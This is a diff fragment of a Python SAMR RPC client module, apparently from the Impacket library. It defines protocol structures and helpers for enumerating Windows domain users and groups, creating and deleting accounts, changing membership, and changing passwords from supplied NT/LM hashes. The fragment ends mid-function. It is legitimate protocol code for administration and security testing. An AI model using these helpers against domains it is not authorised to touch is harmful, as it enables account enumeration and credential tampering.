+       ('NtPresent', UCHAR),
+       ('OldNtEncryptedWithNewNt',PENCRYPTED_NT_OWF_PASSWORD),
+       ('NewNtEncryptedWithOldNt',PENCRYPTED_NT_OWF_PASSWORD),
+       ('NtCrossEncryptionPresent',UCHAR),
+       ('NewNtEncryptedWithNewLm',PENCRYPTED_NT_OWF_PASSWORD),
+       ('LmCrossEncryptionPresent',UCHAR),
+       ('NewLmEncryptedWithNewNt',PENCRYPTED_NT_OWF_PASSWORD),
+    )
+
+class SamrChangePasswordUserResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetGroupsForUser(NDRCALL):
+    opnum = 39
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+    )
+
+class SamrGetGroupsForUserResponse(NDRCALL):
+    structure = (
+       ('Groups',PSAMPR_GET_GROUPS_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryDisplayInformation(NDRCALL):
+    opnum = 40
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),
+       ('Index', ULONG),
+       ('EntryCount',ULONG),
+       ('PreferredMaximumLength',ULONG),
+    )
+
+class SamrQueryDisplayInformationResponse(NDRCALL):
+    structure = (
+       ('TotalAvailable',ULONG),
+       ('TotalReturned',ULONG),
+       ('Buffer',SAMPR_DISPLAY_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetDisplayEnumerationIndex(NDRCALL):
+    opnum = 41
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),
+       ('Prefix', RPC_UNICODE_STRING),
+    )
+
+class SamrGetDisplayEnumerationIndexResponse(NDRCALL):
+    structure = (
+       ('Index',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetUserDomainPasswordInformation(NDRCALL):
+    opnum = 44
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+    )
+
+class SamrGetUserDomainPasswordInformationResponse(NDRCALL):
+    structure = (
+       ('PasswordInformation',USER_DOMAIN_PASSWORD_INFORMATION),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrRemoveMemberFromForeignDomain(NDRCALL):
+    opnum = 45
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('MemberSid', RPC_SID),
+    )
+
+class SamrRemoveMemberFromForeignDomainResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryInformationDomain2(NDRCALL):
+    opnum = 46
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DomainInformationClass', DOMAIN_INFORMATION_CLASS),
+    )
+
+class SamrQueryInformationDomain2Response(NDRCALL):
+    structure = (
+       ('Buffer',PSAMPR_DOMAIN_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryInformationUser2(NDRCALL):
+    opnum = 47
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('UserInformationClass', USER_INFORMATION_CLASS ),
+    )
+
+class SamrQueryInformationUser2Response(NDRCALL):
+    structure = (
+       ('Buffer',PSAMPR_USER_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryDisplayInformation2(NDRCALL):
+    opnum = 48
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),
+       ('Index', ULONG),
+       ('EntryCount',ULONG),
+       ('PreferredMaximumLength',ULONG),
+    )
+
+class SamrQueryDisplayInformation2Response(NDRCALL):
+    structure = (
+       ('TotalAvailable',ULONG),
+       ('TotalReturned',ULONG),
+       ('Buffer',SAMPR_DISPLAY_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetDisplayEnumerationIndex2(NDRCALL):
+    opnum = 49
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),
+       ('Prefix', RPC_UNICODE_STRING),
+    )
+
+class SamrGetDisplayEnumerationIndex2Response(NDRCALL):
+    structure = (
+       ('Index',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrCreateUser2InDomain(NDRCALL):
+    opnum = 50
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('Name', RPC_UNICODE_STRING),
+       ('AccountType', ULONG),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrCreateUser2InDomainResponse(NDRCALL):
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('GrantedAccess',ULONG),
+       ('RelativeId',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryDisplayInformation3(NDRCALL):
+    opnum = 51
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DisplayInformationClass', DOMAIN_DISPLAY_INFORMATION),
+       ('Index', ULONG),
+       ('EntryCount',ULONG),
+       ('PreferredMaximumLength',ULONG),
+    )
+
+class SamrQueryDisplayInformation3Response(NDRCALL):
+    structure = (
+       ('TotalAvailable',ULONG),
+       ('TotalReturned',ULONG),
+       ('Buffer',SAMPR_DISPLAY_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrAddMultipleMembersToAlias(NDRCALL):
+    opnum = 52
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('MembersBuffer', SAMPR_PSID_ARRAY),
+    )
+
+class SamrAddMultipleMembersToAliasResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrRemoveMultipleMembersFromAlias(NDRCALL):
+    opnum = 53
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('MembersBuffer', SAMPR_PSID_ARRAY),
+    )
+
+class SamrRemoveMultipleMembersFromAliasResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrOemChangePasswordUser2(NDRCALL):
+    opnum = 54
+    structure = (
+       ('ServerName', PRPC_STRING),
+       ('UserName', RPC_STRING),
+       ('NewPasswordEncryptedWithOldLm', PSAMPR_ENCRYPTED_USER_PASSWORD),
+       ('OldLmOwfPasswordEncryptedWithNewLm', PENCRYPTED_LM_OWF_PASSWORD),
+    )
+
+class SamrOemChangePasswordUser2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrUnicodeChangePasswordUser2(NDRCALL):
+    opnum = 55
+    structure = (
+       ('ServerName', PRPC_UNICODE_STRING),
+       ('UserName', RPC_UNICODE_STRING),
+       ('NewPasswordEncryptedWithOldNt',PSAMPR_ENCRYPTED_USER_PASSWORD),
+       ('OldNtOwfPasswordEncryptedWithNewNt',PENCRYPTED_NT_OWF_PASSWORD),
+       ('LmPresent',UCHAR),
+       ('NewPasswordEncryptedWithOldLm',PSAMPR_ENCRYPTED_USER_PASSWORD),
+       ('OldLmOwfPasswordEncryptedWithNewNt',PENCRYPTED_LM_OWF_PASSWORD),
+    )
+
+class SamrUnicodeChangePasswordUser2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetDomainPasswordInformation(NDRCALL):
+    opnum = 56
+    structure = (
+       #('BindingHandle',SAMPR_HANDLE),
+       ('Unused', PRPC_UNICODE_STRING),
+    )
+
+class SamrGetDomainPasswordInformationResponse(NDRCALL):
+    structure = (
+       ('PasswordInformation',USER_DOMAIN_PASSWORD_INFORMATION),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrConnect2(NDRCALL):
+    opnum = 57
+    structure = (
+       ('ServerName',PSAMPR_SERVER_NAME),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrConnect2Response(NDRCALL):
+    structure = (
+       ('ServerHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetInformationUser2(NDRCALL):
+    opnum = 58
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('UserInformationClass', USER_INFORMATION_CLASS),
+       ('Buffer', SAMPR_USER_INFO_BUFFER),
+    )
+
+class SamrSetInformationUser2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrConnect4(NDRCALL):
+    opnum = 62
+    structure = (
+       ('ServerName',PSAMPR_SERVER_NAME),
+       ('ClientRevision', ULONG),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrConnect4Response(NDRCALL):
+    structure = (
+       ('ServerHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrConnect5(NDRCALL):
+    opnum = 64
+    structure = (
+       ('ServerName',PSAMPR_SERVER_NAME),
+       ('DesiredAccess', ULONG),
+       ('InVersion', ULONG),
+       ('InRevisionInfo',SAMPR_REVISION_INFO),
+    )
+
+class SamrConnect5Response(NDRCALL):
+    structure = (
+       ('OutVersion',ULONG),
+       ('OutRevisionInfo',SAMPR_REVISION_INFO),
+       ('ServerHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrRidToSid(NDRCALL):
+    opnum = 65
+    structure = (
+       ('ObjectHandle',SAMPR_HANDLE),
+       ('Rid', ULONG),
+    )
+
+class SamrRidToSidResponse(NDRCALL):
+    structure = (
+       ('Sid',PRPC_SID),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetDSRMPassword(NDRCALL):
+    opnum = 66
+    structure = (
+       ('Unused', PRPC_UNICODE_STRING),
+       ('UserId',ULONG),
+       ('EncryptedNtOwfPassword',PENCRYPTED_NT_OWF_PASSWORD),
+    )
+
+class SamrSetDSRMPasswordResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrValidatePassword(NDRCALL):
+    opnum = 67
+    structure = (
+       ('ValidationType', PASSWORD_POLICY_VALIDATION_TYPE),
+       ('InputArg',SAM_VALIDATE_INPUT_ARG),
+    )
+
+class SamrValidatePasswordResponse(NDRCALL):
+    structure = (
+       ('OutputArg',PSAM_VALIDATE_OUTPUT_ARG),
+       ('ErrorCode',ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (SamrConnect, SamrConnectResponse),
+ 1 : (SamrCloseHandle, SamrCloseHandleResponse),
+ 2 : (SamrSetSecurityObject, SamrSetSecurityObjectResponse),
+ 3 : (SamrQuerySecurityObject, SamrQuerySecurityObjectResponse),
+ 5 : (SamrLookupDomainInSamServer, SamrLookupDomainInSamServerResponse),
+ 6 : (SamrEnumerateDomainsInSamServer, SamrEnumerateDomainsInSamServerResponse),
+ 7 : (SamrOpenDomain, SamrOpenDomainResponse),
+ 8 : (SamrQueryInformationDomain, SamrQueryInformationDomainResponse),
+ 9 : (SamrSetInformationDomain, SamrSetInformationDomainResponse),
+10 : (SamrCreateGroupInDomain, SamrCreateGroupInDomainResponse),
+11 : (SamrEnumerateGroupsInDomain, SamrEnumerateGroupsInDomainResponse),
+12 : (SamrCreateUserInDomain, SamrCreateUserInDomainResponse),
+13 : (SamrEnumerateUsersInDomain, SamrEnumerateUsersInDomainResponse),
+14 : (SamrCreateAliasInDomain, SamrCreateAliasInDomainResponse),
+15 : (SamrEnumerateAliasesInDomain, SamrEnumerateAliasesInDomainResponse),
+16 : (SamrGetAliasMembership, SamrGetAliasMembershipResponse),
+17 : (SamrLookupNamesInDomain, SamrLookupNamesInDomainResponse),
+18 : (SamrLookupIdsInDomain, SamrLookupIdsInDomainResponse),
+19 : (SamrOpenGroup, SamrOpenGroupResponse),
+20 : (SamrQueryInformationGroup, SamrQueryInformationGroupResponse),
+21 : (SamrSetInformationGroup, SamrSetInformationGroupResponse),
+22 : (SamrAddMemberToGroup, SamrAddMemberToGroupResponse),
+23 : (SamrDeleteGroup, SamrDeleteGroupResponse),
+24 : (SamrRemoveMemberFromGroup, SamrRemoveMemberFromGroupResponse),
+25 : (SamrGetMembersInGroup, SamrGetMembersInGroupResponse),
+26 : (SamrSetMemberAttributesOfGroup, SamrSetMemberAttributesOfGroupResponse),
+27 : (SamrOpenAlias, SamrOpenAliasResponse),
+28 : (SamrQueryInformationAlias, SamrQueryInformationAliasResponse),
+29 : (SamrSetInformationAlias, SamrSetInformationAliasResponse),
+30 : (SamrDeleteAlias, SamrDeleteAliasResponse),
+31 : (SamrAddMemberToAlias, SamrAddMemberToAliasResponse),
+32 : (SamrRemoveMemberFromAlias, SamrRemoveMemberFromAliasResponse),
+33 : (SamrGetMembersInAlias, SamrGetMembersInAliasResponse),
+34 : (SamrOpenUser, SamrOpenUserResponse),
+35 : (SamrDeleteUser, SamrDeleteUserResponse),
+36 : (SamrQueryInformationUser, SamrQueryInformationUserResponse),
+37 : (SamrSetInformationUser, SamrSetInformationUserResponse),
+38 : (SamrChangePasswordUser, SamrChangePasswordUserResponse),
+39 : (SamrGetGroupsForUser, SamrGetGroupsForUserResponse),
+40 : (SamrQueryDisplayInformation, SamrQueryDisplayInformationResponse),
+41 : (SamrGetDisplayEnumerationIndex, SamrGetDisplayEnumerationIndexResponse),
+44 : (SamrGetUserDomainPasswordInformation, SamrGetUserDomainPasswordInformationResponse),
+45 : (SamrRemoveMemberFromForeignDomain, SamrRemoveMemberFromForeignDomainResponse),
+46 : (SamrQueryInformationDomain2, SamrQueryInformationDomain2Response),
+47 : (SamrQueryInformationUser2, SamrQueryInformationUser2Response),
+48 : (SamrQueryDisplayInformation2, SamrQueryDisplayInformation2Response),
+49 : (SamrGetDisplayEnumerationIndex2, SamrGetDisplayEnumerationIndex2Response),
+50 : (SamrCreateUser2InDomain, SamrCreateUser2InDomainResponse),
+51 : (SamrQueryDisplayInformation3, SamrQueryDisplayInformation3Response),
+52 : (SamrAddMultipleMembersToAlias, SamrAddMultipleMembersToAliasResponse),
+53 : (SamrRemoveMultipleMembersFromAlias, SamrRemoveMultipleMembersFromAliasResponse),
+54 : (SamrOemChangePasswordUser2, SamrOemChangePasswordUser2Response),
+55 : (SamrUnicodeChangePasswordUser2, SamrUnicodeChangePasswordUser2Response),
+56 : (SamrGetDomainPasswordInformation, SamrGetDomainPasswordInformationResponse),
+57 : (SamrConnect2, SamrConnect2Response),
+58 : (SamrSetInformationUser2, SamrSetInformationUser2Response),
+62 : (SamrConnect4, SamrConnect4Response),
+64 : (SamrConnect5, SamrConnect5Response),
+65 : (SamrRidToSid, SamrRidToSidResponse),
+66 : (SamrSetDSRMPassword, SamrSetDSRMPasswordResponse),
+67 : (SamrValidatePassword, SamrValidatePasswordResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+
+def hSamrConnect5(dce, serverName='\x00', desiredAccess=MAXIMUM_ALLOWED, inVersion=1, revision=3):
+    request = SamrConnect5()
+    request['ServerName'] = serverName
+    request['DesiredAccess'] = desiredAccess
+    request['InVersion'] = inVersion
+    request['InRevisionInfo']['tag'] = inVersion
+    request['InRevisionInfo']['V1']['Revision'] = revision
+    return dce.request(request)
+
+def hSamrConnect4(dce, serverName='\x00', desiredAccess=MAXIMUM_ALLOWED, clientRevision=2):
+    request = SamrConnect4()
+    request['ServerName'] = serverName
+    request['DesiredAccess'] = desiredAccess
+    request['ClientRevision'] = clientRevision
+    return dce.request(request)
+
+def hSamrConnect2(dce, serverName='\x00', desiredAccess=MAXIMUM_ALLOWED):
+    request = SamrConnect2()
+    request['ServerName'] = serverName
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hSamrConnect(dce, serverName='\x00', desiredAccess=MAXIMUM_ALLOWED):
+    request = SamrConnect()
+    request['ServerName'] = serverName
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hSamrOpenDomain(dce, serverHandle, desiredAccess=MAXIMUM_ALLOWED, domainId=NULL):
+    request = SamrOpenDomain()
+    request['ServerHandle'] = serverHandle
+    request['DesiredAccess'] = desiredAccess
+    request['DomainId'] = domainId
+    return dce.request(request)
+
+def hSamrOpenGroup(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, groupId=0):
+    request = SamrOpenGroup()
+    request['DomainHandle'] = domainHandle
+    request['DesiredAccess'] = desiredAccess
+    request['GroupId'] = groupId
+    return dce.request(request)
+
+def hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=0):
+    request = SamrOpenAlias()
+    request['DomainHandle'] = domainHandle
+    request['DesiredAccess'] = desiredAccess
+    request['AliasId'] = aliasId
+    return dce.request(request)
+
+def hSamrOpenUser(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, userId=0):
+    request = SamrOpenUser()
+    request['DomainHandle'] = domainHandle
+    request['DesiredAccess'] = desiredAccess
+    request['UserId'] = userId
+    return dce.request(request)
+
+def hSamrEnumerateDomainsInSamServer(dce, serverHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):
+    request = SamrEnumerateDomainsInSamServer()
+    request['ServerHandle'] = serverHandle
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrEnumerateGroupsInDomain(dce, domainHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):
+    request = SamrEnumerateGroupsInDomain()
+    request['DomainHandle'] = domainHandle
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrEnumerateAliasesInDomain(dce, domainHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):
+    request = SamrEnumerateAliasesInDomain()
+    request['DomainHandle'] = domainHandle
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrEnumerateUsersInDomain(dce, domainHandle, userAccountControl=USER_NORMAL_ACCOUNT, enumerationContext=0, preferedMaximumLength=0xffffffff):
+    request = SamrEnumerateUsersInDomain()
+    request['DomainHandle'] = domainHandle
+    request['UserAccountControl'] = userAccountControl
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrQueryDisplayInformation3(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, index=0, entryCount=0xffffffff, preferedMaximumLength=0xffffffff):
+    request = SamrQueryDisplayInformation3()
+    request['DomainHandle'] = domainHandle
+    request['DisplayInformationClass'] = displayInformationClass
+    request['Index'] = index
+    request['EntryCount'] = entryCount
+    request['PreferredMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrQueryDisplayInformation2(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, index=0, entryCount=0xffffffff, preferedMaximumLength=0xffffffff):
+    request = SamrQueryDisplayInformation2()
+    request['DomainHandle'] = domainHandle
+    request['DisplayInformationClass'] = displayInformationClass
+    request['Index'] = index
+    request['EntryCount'] = entryCount
+    request['PreferredMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrQueryDisplayInformation(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, index=0, entryCount=0xffffffff, preferedMaximumLength=0xffffffff):
+    request = SamrQueryDisplayInformation()
+    request['DomainHandle'] = domainHandle
+    request['DisplayInformationClass'] = displayInformationClass
+    request['Index'] = index
+    request['EntryCount'] = entryCount
+    request['PreferredMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hSamrGetDisplayEnumerationIndex2(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, prefix=''):
+    request = SamrGetDisplayEnumerationIndex2()
+    request['DomainHandle'] = domainHandle
+    request['DisplayInformationClass'] = displayInformationClass
+    request['Prefix'] = prefix
+    return dce.request(request)
+
+def hSamrGetDisplayEnumerationIndex(dce, domainHandle, displayInformationClass=DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, prefix=''):
+    request = SamrGetDisplayEnumerationIndex()
+    request['DomainHandle'] = domainHandle
+    request['DisplayInformationClass'] = displayInformationClass
+    request['Prefix'] = prefix
+    return dce.request(request)
+
+def hSamrCreateGroupInDomain(dce, domainHandle, name, desiredAccess=GROUP_ALL_ACCESS):
+    request = SamrCreateGroupInDomain()
+    request['DomainHandle'] = domainHandle
+    request['Name'] = name
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hSamrCreateAliasInDomain(dce, domainHandle, accountName, desiredAccess=GROUP_ALL_ACCESS):
+    request = SamrCreateAliasInDomain()
+    request['DomainHandle'] = domainHandle
+    request['AccountName'] = accountName
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hSamrCreateUser2InDomain(dce, domainHandle, name, accountType=USER_NORMAL_ACCOUNT, desiredAccess=GROUP_ALL_ACCESS):
+    request = SamrCreateUser2InDomain()
+    request['DomainHandle'] = domainHandle
+    request['Name'] = name
+    request['AccountType'] = accountType
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hSamrCreateUserInDomain(dce, domainHandle, name, desiredAccess=GROUP_ALL_ACCESS):
+    request = SamrCreateUserInDomain()
+    request['DomainHandle'] = domainHandle
+    request['Name'] = name
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hSamrQueryInformationDomain(dce, domainHandle, domainInformationClass=DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2):
+    request = SamrQueryInformationDomain()
+    request['DomainHandle'] = domainHandle
+    request['DomainInformationClass'] = domainInformationClass
+    return dce.request(request)
+
+def hSamrQueryInformationDomain2(dce, domainHandle, domainInformationClass=DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2):
+    request = SamrQueryInformationDomain2()
+    request['DomainHandle'] = domainHandle
+    request['DomainInformationClass'] = domainInformationClass
+    return dce.request(request)
+
+def hSamrQueryInformationGroup(dce, groupHandle, groupInformationClass=GROUP_INFORMATION_CLASS.GroupGeneralInformation):
+    request = SamrQueryInformationGroup()
+    request['GroupHandle'] = groupHandle
+    request['GroupInformationClass'] = groupInformationClass
+    return dce.request(request)
+
+def hSamrQueryInformationAlias(dce, aliasHandle, aliasInformationClass=ALIAS_INFORMATION_CLASS.AliasGeneralInformation):
+    request = SamrQueryInformationAlias()
+    request['AliasHandle'] = aliasHandle
+    request['AliasInformationClass'] = aliasInformationClass
+    return dce.request(request)
+
+def hSamrQueryInformationUser2(dce, userHandle, userInformationClass=USER_INFORMATION_CLASS.UserGeneralInformation):
+    request = SamrQueryInformationUser2()
+    request['UserHandle'] = userHandle
+    request['UserInformationClass'] = userInformationClass
+    return dce.request(request)
+
+def hSamrQueryInformationUser(dce, userHandle, userInformationClass=USER_INFORMATION_CLASS.UserGeneralInformation):
+    request = SamrQueryInformationUser()
+    request['UserHandle'] = userHandle
+    request['UserInformationClass'] = userInformationClass
+    return dce.request(request)
+
+def hSamrSetInformationDomain(dce, domainHandle, domainInformation):
+    request = SamrSetInformationDomain()
+    request['DomainHandle'] = domainHandle
+    request['DomainInformationClass'] = domainInformation['tag']
+    request['DomainInformation'] = domainInformation
+    return dce.request(request)
+
+def hSamrSetInformationGroup(dce, groupHandle, buffer):
+    request = SamrSetInformationGroup()
+    request['GroupHandle'] = groupHandle
+    request['GroupInformationClass'] = buffer['tag']
+    request['Buffer'] = buffer
+    return dce.request(request)
+
+def hSamrSetInformationAlias(dce, aliasHandle, buffer):
+    request = SamrSetInformationAlias()
+    request['AliasHandle'] = aliasHandle
+    request['AliasInformationClass'] = buffer['tag']
+    request['Buffer'] = buffer
+    return dce.request(request)
+
+def hSamrSetInformationUser2(dce, userHandle, buffer):
+    request = SamrSetInformationUser2()
+    request['UserHandle'] = userHandle
+    request['UserInformationClass'] = buffer['tag']
+    request['Buffer'] = buffer
+    return dce.request(request)
+
+def hSamrSetInformationUser(dce, userHandle, buffer):
+    request = SamrSetInformationUser()
+    request['UserHandle'] = userHandle
+    request['UserInformationClass'] = buffer['tag']
+    request['Buffer'] = buffer
+    return dce.request(request)
+
+def hSamrDeleteGroup(dce, groupHandle):
+    request = SamrDeleteGroup()
+    request['GroupHandle'] = groupHandle
+    return dce.request(request)
+
+def hSamrDeleteAlias(dce, aliasHandle):
+    request = SamrDeleteAlias()
+    request['AliasHandle'] = aliasHandle
+    return dce.request(request)
+
+def hSamrDeleteUser(dce, userHandle):
+    request = SamrDeleteUser()
+    request['UserHandle'] = userHandle
+    return dce.request(request)
+
+def hSamrAddMemberToGroup(dce, groupHandle, memberId, attributes):
+    request = SamrAddMemberToGroup()
+    request['GroupHandle'] = groupHandle
+    request['MemberId'] = memberId
+    request['Attributes'] = attributes
+    return dce.request(request)
+
+def hSamrRemoveMemberFromGroup(dce, groupHandle, memberId):
+    request = SamrRemoveMemberFromGroup()
+    request['GroupHandle'] = groupHandle
+    request['MemberId'] = memberId
+    return dce.request(request)
+
+def hSamrGetMembersInGroup(dce, groupHandle):
+    request = SamrGetMembersInGroup()
+    request['GroupHandle'] = groupHandle
+    return dce.request(request)
+
+def hSamrAddMemberToAlias(dce, aliasHandle, memberId):
+    request = SamrAddMemberToAlias()
+    request['AliasHandle'] = aliasHandle
+    request['MemberId'] = memberId
+    return dce.request(request)
+
+def hSamrRemoveMemberFromAlias(dce, aliasHandle, memberId):
+    request = SamrRemoveMemberFromAlias()
+    request['AliasHandle'] = aliasHandle
+    request['MemberId'] = memberId
+    return dce.request(request)
+
+def hSamrGetMembersInAlias(dce, aliasHandle):
+    request = SamrGetMembersInAlias()
+    request['AliasHandle'] = aliasHandle
+    return dce.request(request)
+
+def hSamrRemoveMemberFromForeignDomain(dce, domainHandle, memberSid):
+    request = SamrRemoveMemberFromForeignDomain()
+    request['DomainHandle'] = domainHandle
+    request['MemberSid'] = memberSid
+    return dce.request(request)
+
+def hSamrAddMultipleMembersToAlias(dce, aliasHandle, membersBuffer):
+    request = SamrAddMultipleMembersToAlias()
+    request['AliasHandle'] = aliasHandle
+    request['MembersBuffer'] = membersBuffer
+    request['MembersBuffer']['Count'] = len(membersBuffer['Sids'])
+    return dce.request(request)
+
+def hSamrRemoveMultipleMembersFromAlias(dce, aliasHandle, membersBuffer):
+    request = SamrRemoveMultipleMembersFromAlias()
+    request['AliasHandle'] = aliasHandle
+    request['MembersBuffer'] = membersBuffer
+    request['MembersBuffer']['Count'] = len(membersBuffer['Sids'])
+    return dce.request(request)
+
+def hSamrGetGroupsForUser(dce, userHandle):
+    request = SamrGetGroupsForUser()
+    request['UserHandle'] = userHandle
+    return dce.request(request)
+
+def hSamrGetAliasMembership(dce, domainHandle, sidArray):
+    request = SamrGetAliasMembership()
+    request['DomainHandle'] = domainHandle
+    request['SidArray'] = sidArray
+    request['SidArray']['Count'] = len(sidArray['Sids'])
+    return dce.request(request)
+
+def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword, oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''):
+    request = SamrChangePasswordUser()
+    request['UserHandle'] = userHandle
+
+    from impacket import crypto, ntlm
+
+    if oldPwdHashNT == '':
+        oldPwdHashNT = ntlm.NTOWFv1(oldPassword)
+    else:
+        # Let's convert the hashes to binary form, if not yet
+        try:
+            oldPwdHashNT = unhexlify(oldPwdHashNT)
+        except:
+            pass
+
+    if newPwdHashLM == '':
+        newPwdHashLM = ntlm.LMOWFv1(newPassword)
+    else:
+        # Let's convert the hashes to binary form, if not yet
+        try:
+            newPwdHashLM = unhexlify(newPwdHashLM)
+        except:
+            pass
+
+    if newPwdHashNT == '':
+        newPwdHashNT = ntlm.NTOWFv1(newPassword)
+    else:
+        # Let's convert the hashes to binary form, if not yet
+        try:
+            newPwdHashNT = unhexlify(newPwdHashNT)
+        except:
+            pass
+
+    request['LmPresent'] = 0
+    request['OldLmEncryptedWithNewLm'] = NULL
+    request['NewLmEncryptedWithOldLm'] = NULL
+    request['NtPresent'] = 1
+    request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)
+    request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT)
+    request['NtCrossEncryptionPresent'] = 0
+    request['NewNtEncryptedWithNewLm'] = NULL
+    request['LmCrossEncryptionPresent'] = 1
+    request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)
+
+    return dce.request(request)
+
+def hSamrUnicodeChangePasswordUser2(dce, serverName='\x00', userName='', oldPassword='', newPassword='', oldPwdHashLM = '', oldPwdHashNT = ''):
+    request = SamrUnicodeChangePasswordUser2()
+    request['ServerName'] = serverName
+    request['UserName'] = userName
+
+    try:
+        from Cryptodome.Cipher import ARC4
+    except Exception:
+        LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+        LOG.critical("See https://pypi.org/project/pycryptodomex/")
+    from impacket import crypto, ntlm
+
+    if oldPwdHashLM == '' and oldPwdHashNT == '':
+        oldPwdHashLM = ntlm.LMOWFv1(oldPassword)
+        oldPwdHashNT = ntlm.NTOWFv1(oldPassword)
+    else:
+        # Let's convert the hashes to binary form, if not yet
+        try:
+            oldPwdHashLM = unhexlify(oldPwdHashLM)
+        except:
+            pass
+        try:
+            oldPwdHashNT = unhexlify(oldPwdHashNT)
+        except:
+            pass
+
+    newPwdHashNT = ntlm.NTOWFv1(newPassword)
+
+    samUser = SAMPR_USER_PASSWORD()
+    try:
+        samUser['Buffer'] = b'A'*(512-len(newPassword)*2) + newPassword.encode('utf-16le')
+    except UnicodeDecodeError:
+        import sys
+        samUser['Buffer'] = b'A'*(512-len(newPassword)*2) + newPassword.decode(sys.getfilesystemencoding()).encode('utf-16le')
+
+    samUser['Length'] = len(newPassword)*2
+    pwdBuff = samUser.getData()
+
